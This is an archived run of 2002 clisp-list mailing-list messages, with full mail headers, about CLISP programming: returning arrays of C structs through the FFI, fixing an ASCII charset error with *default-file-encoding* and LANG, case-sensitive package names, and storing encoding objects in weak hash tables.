17cKSk-0007mD-00 for ; Tue, 06 Aug 2002 23:38:30 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g776cR5U013127; Wed, 7 Aug 2002 02:38:27 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g776cRha013124; Wed, 7 Aug 2002 02:38:27 -0400 Message-Id: <200208070638.g776cRha013124@van-halen.alma.com> From: "John K. Hinsdale" To: Joerg-Cyril.Hoehle@t-systems.com CC: clisp-list@lists.sourceforge.net In-reply-to: (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] RESOLVED: FFI question: returning array of "C" structs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Aug 6 23:39:05 2002 X-Original-Date: Wed, 7 Aug 2002 02:38:27 -0400 Following up on my questions of returning arrays of "C" structs to CLISP using the FFI ... SUMMARY: Joerg-Cyril: it's working; thanks! The working solution I've arrived at is to have the C function return an array of pointers to the C structures + one terminating NULL pointer at the end. It's a bit more hassle on the "C" side since you have to memory-manage the pointers as well as the structs, but that is why we are paid the big bucks :) I would advise against returning an array of whole structs to CLISP in any situation. > [Joerg-Cyril] > > You can do that with the standard CLISP FFI in only one case: when the > array is zero-terminated. This includes a structure completely filled > with 0 bytes, not just C strings of one byte characters. Does your > function match that requirement? I have to say I strongly disagree w/ the convention of imposing a special meaning (i.e., terminator) on "all zero byte" structures. There would be too many applications where all-zero data was a valid representation. Mine isn't one of them, but I have the suspicion I'm just lucky. See my recent message for an example (graphics). All this becomes moot when the array consists only of pointers, plus a null-pointer terminator, and that is why I recommend the pointer-array approach. In "C", a null pointer is always well defined and and its meaning always clear: it points to no valid data. That's part of the language spec. A struct of all zeroes has no definite meaning, since the struct members are user-defined. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From Joerg-Cyril.Hoehle@t-systems.com Wed Aug 07 05:08:56 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cPcU-0002TE-00 for ; Wed, 07 Aug 2002 05:08:55 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 7 Aug 2002 14:08:44 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 7 Aug 2002 14:08:44 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] RESOLVED: FFI question: returning array of "C" struc ts MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 7 05:09:02 2002 X-Original-Date: Wed, 7 Aug 2002 14:08:43 +0200 Hi, John K. Hinsdale wrote: >I would advise against returning an array of whole structs to CLISP in >any situation. Why? Esp. Why do you seem to reject a return-type of e.g. (c-ptr (c-array mystruct 100)) but accept (c-array (c-ptr mystruct) 100) or (c-ptr (c-array (c-ptr mystruct) 100)) ? >I have to say I strongly disagree w/ the convention of imposing a >special meaning (i.e., terminator) on "all zero byte" structures. >There would be too many applications where all-zero data was a valid >representation. Mine isn't one of them, but I have the suspicion I'm >just lucky. I never said that zero-terminated arrays were great. They have uses. And in the pityful situation of the CLISP FFI, one is lead to consider whether the set of possible (acceptable) uses shouldn't be stretched somewhat. >All this becomes moot when the array consists only of pointers, plus a >null-pointer terminator, and that is why I recommend the pointer-array >approach. I mean, I don't grasp the difference you make for pointers. Zero-termination for arrays of pointers may work no better than for structures. NULL is a legal value for any pointer in the array. It's completely application dependent whether this can be interpreted as an "end-of-array" marker. E.g., the regexp-match could return an array of N pointers to subgroups, NULL therein meaning "this regexp subgroup () was not matched", as in "(http://)?([-a-z0-9\.]+)?" matching "abc.def/" should return [NULL, "abc.def"]. >OK, but to be honest, what I'm trying to do is just get this to work, >hopefully w/out bugs and leaks, and then get the hell out of "C" and >into Lisp as soon as possible! This is why working on a possibly high-level FFI is not rewarding at all. It seems people can be more easily satisfied with a C-level (i.e. low) interface which grants them all the freedom and possibilites they can think of, at the price of doing, as in C, memory management, transformations etc. on their own. I tend to see the failure of what in Ada is called thick bindings (well-integrated into language, better?) vs. thin (low-level, worse?) bindings to a foreign library. Regards, Jorg Hohle. From hin@van-halen.alma.com Wed Aug 07 09:54:19 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cU4g-0006Rf-00 for ; Wed, 07 Aug 2002 09:54:18 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g77GsE5U014747; Wed, 7 Aug 2002 12:54:15 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g77GsExB014744; Wed, 7 Aug 2002 12:54:14 -0400 Message-Id: <200208071654.g77GsExB014744@van-halen.alma.com> From: "John K. Hinsdale" To: Joerg-Cyril.Hoehle@t-systems.com CC: clisp-list@lists.sourceforge.net In-reply-to: (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] RESOLVED: FFI question: returning array of "C" struc ts Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 7 09:55:03 2002 X-Original-Date: Wed, 7 Aug 2002 12:54:14 -0400 >> [J. Hinsdale] >> I would advise against returning an array of whole structs to CLISP in >> any situation. > I never said that zero-terminated arrays were great. They have > uses. And in the pityful situation of the CLISP FFI, one is lead to > consider whether the set of possible (acceptable) uses shouldn't be > stretched somewhat. I guess in cases where the application allows for it, would be OK (and in fact it work for my database struct). In may case, the struct has a bunch of integers (for which zero is a valid value that can and will occur as part of normal operation, and some pointers to data, which as it turns out will always be non-null, but that is just coincidence. In my app, it's not farfetched to assume that one day the representation would change so that those pointers could be null (say to represent the SQL "null" value, which for now I am using a separate flag). that would then break the interface. If you used the struct pointers, then you can have any arbitrary data, but as you pointed out you have to be careful that each and every pointer is non-null except the last. There does have to be some sort of application-specific convention. From hin@van-halen.alma.com Fri Aug 09 10:16:25 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17dDN9-0000nb-00 for ; Fri, 09 Aug 2002 10:16:24 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g79HGL5U004220 for ; Fri, 9 Aug 2002 13:16:21 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g79HGLRW004217; Fri, 9 Aug 2002 13:16:21 -0400 Message-Id: <200208091716.g79HGLRW004217@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] CHARSET questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 9 10:17:03 2002 X-Original-Date: Fri, 9 Aug 2002 13:16:21 -0400 I'm testing a module to store & retreive from Oracle to CLISP and I'm getting an error when strings are converted from the "C" form (null-terminated) to internal CLISP strings: *** - invalid byte #x94 in CHARSET:ASCII conversion This is only happening for bytes in the range 0x80 to 0xFF (i.e., above the 7-bit ASCII range. Any ideas? I looked at the docs and it wasn't obvious to me how to change the charset from ASCII to some 8-bit one (or even how to inquire as to what the current charset is) What's weird is I don't have this problem on another machine that also runs CLISP. The machines each run Linux (Debian) but one (the one that works) is a later version of Debian ("woody" vs. "potato"). But that doesn't seem like it should matter, and more important, the one that gives the error is my main devel. box. Do I need to install some local-specific thing? Or is there some way to tell CLISP not to try to convert to ASCII? Or maybe I shouldn't be using some internal Lisp object than other than string to retrieve the data? I'm using the FFI::c-string type. Any advice would be appreciated. [My Oracle library is looking pretty good, just needs some more testing and I'm looking forward to making it available to the CLISP user base under the GPL.] --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From samuel.steingold@verizon.net Fri Aug 09 10:56:03 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17dDzW-00049K-00 for ; Fri, 09 Aug 2002 10:56:02 -0700 Received: (cpmta 29129 invoked from network); 9 Aug 2002 10:55:55 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 9 Aug 2002 10:55:55 -0700 X-Sent: 9 Aug 2002 17:55:55 GMT To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CHARSET questions References: <200208091716.g79HGLRW004217@van-halen.alma.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200208091716.g79HGLRW004217@van-halen.alma.com> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 9 10:57:02 2002 X-Original-Date: 09 Aug 2002 13:55:54 -0400 > * In message <200208091716.g79HGLRW004217@van-halen.alma.com> > * On the subject of "[clisp-list] CHARSET questions" > * Sent on Fri, 9 Aug 2002 13:16:21 -0400 > * Honorable "John K. Hinsdale" writes: > > I'm testing a module to store & retreive from Oracle to CLISP and I'm > getting an error when strings are converted from the "C" form > (null-terminated) to internal CLISP strings: > > *** - invalid byte #x94 in CHARSET:ASCII conversion > > This is only happening for bytes in the range 0x80 to 0xFF (i.e., > above the 7-bit ASCII range. Any ideas? I looked at the docs and it > wasn't obvious to me how to change the charset from ASCII to some > 8-bit one (or even how to inquire as to what the current charset is) > [My Oracle library is looking pretty good, just needs some more > testing and I'm looking forward to making it available to the CLISP > user base under the GPL.] cool! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux MS Windows: error: the operation completed successfully. From kaz@footprints.net Fri Aug 09 16:04:48 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17dIoK-0002gt-00 for ; Fri, 09 Aug 2002 16:04:48 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17dIoB-0006fq-00; Fri, 09 Aug 2002 16:04:39 -0700 From: Kaz Kylheku To: "John K. Hinsdale" cc: clisp-list@lists.sourceforge.net In-Reply-To: <200208091716.g79HGLRW004217@van-halen.alma.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: CHARSET questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 9 16:05:04 2002 X-Original-Date: Fri, 9 Aug 2002 16:04:39 -0700 (PDT) On Fri, 9 Aug 2002, John K. Hinsdale wrote: > Date: Fri, 9 Aug 2002 13:16:21 -0400 > From: John K. Hinsdale > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] CHARSET questions > > > I'm testing a module to store & retreive from Oracle to CLISP and I'm > getting an error when strings are converted from the "C" form > (null-terminated) to internal CLISP strings: > > *** - invalid byte #x94 in CHARSET:ASCII conversion > > This is only happening for bytes in the range 0x80 to 0xFF (i.e., > above the 7-bit ASCII range. Any ideas? This is controlled by the variable *default-file-encoding*, which is initialized based on your LANG environment variable. >I looked at the docs and it > wasn't obvious to me how to change the charset from ASCII to some > 8-bit one (or even how to inquire as to what the current charset is) Change your LANG environment variable, or do something like (setf *default-file-encoding* charset:iso-8859-1) I think that this variable is actually a symbol macro, not a special variable. It expands to a function call. So you can't give it a dynamic binding. -- Meta-CVS: solid version control tool with directory structure versioning. http://users.footprints.net/~kaz/mcvs.html http://freshmeat.net/projects/mcvs From pjb@informatimago.com Fri Aug 09 21:42:07 2002 Received: from thalassa.informatimago.com ([212.87.205.57]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17dO4g-00037r-00 for ; Fri, 09 Aug 2002 21:42:02 -0700 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 70D8795519; Sat, 10 Aug 2002 06:39:23 +0200 (CEST) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20020810043923.70D8795519@thalassa.informatimago.com> Subject: [clisp-list] How to keep a package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 9 21:43:01 2002 X-Original-Date: Sat, 10 Aug 2002 06:39:23 +0200 (CEST) I have this "package": --(test-package.lisp)------------------------------------------------- (make-package "test-package" :use '("COMMON-LISP" "EXT" "SYSTEM" "POSIX" )) (in-package "test-package") (defun my-fun () (format t "I'm test-package::my-fun ~%") );;my-fun ---------------------------------------------------------------------- Which I try to use as follow: [pascal@thalassa tmp]$ clisp -q ;; Loading file /home/pascal/.clisprc.lisp ... ;; Loading of file /home/pascal/.clisprc.lisp is finished. [1]> (load "test-package.lisp") ;; Loading file test-package.lisp ... ;; Loading of file test-package.lisp is finished. T [2]> (test-package::my-fun) *** - READ from # #>: there is no package with name "TEST-PACKAGE" 1. Break [3]> (my .clisprc.lisp is empty for now). If I replace the make-package call by: (defpackage "test-package" (:use "COMMON-LISP" "EXT" "SYSTEM" "POSIX" )) I still get the exact same result. How one can make and keep a package? Why clisp does not implement in-package as defined in Cltl2, that is, creating the package automatically if it does not already exist? -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- From hin@van-halen.alma.com Sat Aug 10 06:38:59 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17dWSI-0004Pq-00 for ; Sat, 10 Aug 2002 06:38:58 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g7ADcs5U007542; Sat, 10 Aug 2002 09:38:54 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g7ADcssw007539; Sat, 10 Aug 2002 09:38:54 -0400 Message-Id: <200208101338.g7ADcssw007539@van-halen.alma.com> From: "John K. Hinsdale" To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 09 Aug 2002 13:55:54 -0400) Subject: Re: [clisp-list] CHARSET questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 10 06:39:04 2002 X-Original-Date: Sat, 10 Aug 2002 09:38:54 -0400 > From: Sam Steingold > > From: Kaz Kylheku > This is controlled by the variable *default-file-encoding*, which > is initialized based on your LANG environment variable. Thanks, my $LANG was munged. Looks like my CLISP defaults to ASCII if LANG is unset, but also if LANG is set to garbage (?). It turns out you can ask Oracle what character set is in force in the current database so I guess I put in a check to see if CLISP is using ASCII while Oracle is using an 8-bit character set. Then the problem can be detected in advance, giving the hints you mentioned. Thanks ... --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From kaz@footprints.net Sat Aug 10 09:38:17 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17dZFp-0002N6-00 for ; Sat, 10 Aug 2002 09:38:17 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17dZFi-0005DS-00; Sat, 10 Aug 2002 09:38:10 -0700 From: Kaz Kylheku To: Pascal Bourguignon cc: clisp-list@lists.sourceforge.net In-Reply-To: <20020810043923.70D8795519@thalassa.informatimago.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: How to keep a package? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Aug 10 09:39:03 2002 X-Original-Date: Sat, 10 Aug 2002 09:38:10 -0700 (PDT) On Sat, 10 Aug 2002, Pascal Bourguignon wrote: > Date: Sat, 10 Aug 2002 06:39:23 +0200 (CEST) > From: Pascal Bourguignon > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] How to keep a package? > > > I have this "package": > > --(test-package.lisp)------------------------------------------------- > (make-package "test-package" :use '("COMMON-LISP" "EXT" "SYSTEM" "POSIX" )) > (in-package "test-package") > > (defun my-fun () > (format t "I'm test-package::my-fun ~%") > );;my-fun > ---------------------------------------------------------------------- > > > Which I try to use as follow: > > [pascal@thalassa tmp]$ clisp -q > ;; Loading file /home/pascal/.clisprc.lisp ... > ;; Loading of file /home/pascal/.clisprc.lisp is finished. > [1]> (load "test-package.lisp") > ;; Loading file test-package.lisp ... > ;; Loading of file test-package.lisp is finished. > T > [2]> (test-package::my-fun) Your package is called "test-package", but here you are trying to use "TEST-PACKAGE". Lisp symbol names are case sensitive. This sensitivity is rarely visible, because (by default) the names of symbols are converted to upper case when symbol tokens are read. An escape mechanism is provided to suppress that: (|test-package|::my-fun) When defining packages, it's probably a better idea to use keywords or rather than naked strings. SOme people use unterned symbols too. If you must use strings, remember to type all the names upper case. (defpackage "FOO" ... (:use "COMMON-LISP") ...) (defpackage :foo ... (:use :common-lisp) ...) > *** - READ from # #>: there is no package with name "TEST-PACKAGE" > 1. Break [3]> > > > (my .clisprc.lisp is empty for now). > > > If I replace the make-package call by: > > (defpackage "test-package" (:use "COMMON-LISP" "EXT" "SYSTEM" "POSIX" )) > > I still get the exact same result. > > > How one can make and keep a package? > > Why clisp does not implement in-package as defined in Cltl2, that is, > creating the package automatically if it does not already exist? Lisp is defined by the ANSI standard, not by Cltl2. The in-package macro is required to signal an error of type package-error if the package does not exist. See the HyperSpec. From Joerg-Cyril.Hoehle@t-systems.com Mon Aug 12 02:01:42 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eB52-0001Fi-00 for ; Mon, 12 Aug 2002 02:01:41 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 12 Aug 2002 11:01:26 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Aug 2002 11:01:26 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] CHARSET questions & early vs late error signaling MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 02:02:02 2002 X-Original-Date: Mon, 12 Aug 2002 11:01:23 +0200 Hi, John K. Hinsdale wrote: >It turns out you can ask Oracle what character set is in force in the >current database so I guess I put in a check to see if CLISP is using >ASCII while Oracle is using an 8-bit character set. Then the problem >can be detected in advance, giving the hints you mentioned. I believe you should try to make CLISP match the database's encoding. If you second-guess or hard-code ASCII, such code will not work e.g. in the win32 port where the default encoding could be OLD-DOS (whatever its name), while Oracle would probably use ISO-8859-1. Bear in mind that current, the CLISP FFI doesn't support multibyte strings, e.g. UTF-16 etc. My FFI add-ons for dealing with that have been put on hold (snice that encoding-trailing-zeroes issue). >I'm using the FFI::c-string type. Then custom:*foreign-encoding* is the place to set. Kaz Kylheku writes: >I think that this variable is actually a symbol macro, not a special >variable. It expands to a function call. So you can't give it a dynamic >binding. Yes, and I find this fact particularly sad. Compare (let ((custom:*foreign-encoding* (oracle-db-encoding connection))) (foreign-funcall #)) #| sadly does not work |# with: (let ((old custom:foreign-encoding) (new (oracle-db-encoding connection))) (unwind-protect (progn (setf custom:foreign-encoding new) (foreign-funcall #)) (setf custom:*foreign-encoding* old))) Every Common Lisper who sees this would say: Whatzthat?? Unwind-protect to a special variable - looks like a beginner's mistake. CLISP is inconsistent. More specifically: CLISP has been contributed to by different people with different tradeoffs on this and that, people's opinion also shift over time, and there was never something like a CLISP-philosophy guide. An example of the opposed philosophies on early or late error signaling: o custom:*xyz-encoding* are symbol macros, so as to be able to test at setf time the correctness of the values. The drawback is that LET becomes unusable. o (close #; Mon, 12 Aug 2002 02:23:29 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 12 Aug 2002 11:23:19 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 12 Aug 2002 11:23:19 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] weak key hash table :test choice & surviving .mem image generatio n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 02:24:03 2002 X-Original-Date: Mon, 12 Aug 2002 11:23:18 +0200 Hi, how do CLISP's new weak-key tables interact with system objects, esp. = the # or #
objects? What :test keyword would be suitable for such a thing? I was considering putting # objects in a weak table. The weak = functionality is necessary, because there can be arbitrarily many [in = EQ terms] encoding objects in history (even though the set of really = different slot values [what EQUALP considers] is finite), and the table = should not grow monotically. The table is wished for because of typical = caching issues: I don't want to repeat some (supposedly costly) string = conversions. [15]> (describe-thing (ext:make-encoding :charset charset:iso-8859-1 = :line-terminator :dos)) 0. :DOS 1. :ERROR 2. :ERROR 3. CHARSET:ISO-8859-1 4. #
5. #
6. #
7. #
8. #
9. #
# 1) Can one store encoding objects in a Lisp data structure, then to an = image and hope they will be resurrected? (I.e. what happens to these = #
things?) 2) Do these #
things survive starting from a new image when = stored in a weak-table? 3) Does resurrecting lead to crashes because the addresses may point to = old, now inexistant memory addresses? The response to this is not a "try it out" issue, because the behaviour = may be different depending on the underlying OS, stack size or on the = number of modules loaded in this session of CLISP, or on the time of = the day. "Try it out" could work for me and break on your machine. 4) what's a good :TEST predicate for retrieving things that contain = such #
objects? 5) how to reliably store unknown encodings so that they survive = restarting from an image? [9]> (defun describe-thing (o) (dotimes (i (sys::%record-length o) o) (format t "~&~D. ~S~%" i (sys::%record-ref o i)))) Regards, J=F6rg H=F6hle. From hin@van-halen.alma.com Mon Aug 12 04:48:49 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eDgm-0001pw-00 for ; Mon, 12 Aug 2002 04:48:48 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g7CBmi5U014977; Mon, 12 Aug 2002 07:48:45 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g7CBmiLc014974; Mon, 12 Aug 2002 07:48:44 -0400 Message-Id: <200208121148.g7CBmiLc014974@van-halen.alma.com> From: "John K. Hinsdale" To: Joerg-Cyril.Hoehle@t-systems.com CC: clisp-list@lists.sourceforge.net In-reply-to: (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] CHARSET questions & early vs late error signaling Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 04:49:05 2002 X-Original-Date: Mon, 12 Aug 2002 07:48:44 -0400 > I believe you should try to make CLISP match the database's > encoding. If you second-guess or hard-code ASCII, such code will not > work e.g. in the win32 port where the default encoding could be > OLD-DOS (whatever its name), while Oracle would probably use > ISO-8859-1. Actually after some more thought I was thinking of trapping just the specific case of where (a) the current CLISP encoding was ASCII and (b) the Oracle charset was something anything other than ASCII. This should make for a minimum of second guessing on my part. This library is mainly for moving back-and-forth and not manipulating it. I'm also going to just make it a warning and not an error so that things are not aborted in the case where there is only ASCII data extant in the database. >> I'm using the FFI::c-string type. > Then custom:*foreign-encoding* is the place to set. OK, I'll mention that in my warning message. later, --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From samuel.steingold@verizon.net Mon Aug 12 07:11:08 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eFuV-0002DQ-00 for ; Mon, 12 Aug 2002 07:11:07 -0700 Received: (cpmta 27527 invoked from network); 12 Aug 2002 07:11:00 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 12 Aug 2002 07:11:00 -0700 X-Sent: 12 Aug 2002 14:11:00 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CHARSET questions & early vs late error signaling References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 39 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Aug 12 07:12:06 2002 X-Original-Date: 12 Aug 2002 10:10:58 -0400 > * In message > * On the subject of "[clisp-list] CHARSET questions & early vs late error signaling" > * Sent on Mon, 12 Aug 2002 11:01:23 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > CLISP is inconsistent. More specifically: CLISP has been contributed > to by different people with different tradeoffs on this and that, > people's opinion also shift over time, and there was never something > like a CLISP-philosophy guide. > > An example of the opposed philosophies on early or late error signaling: > > o 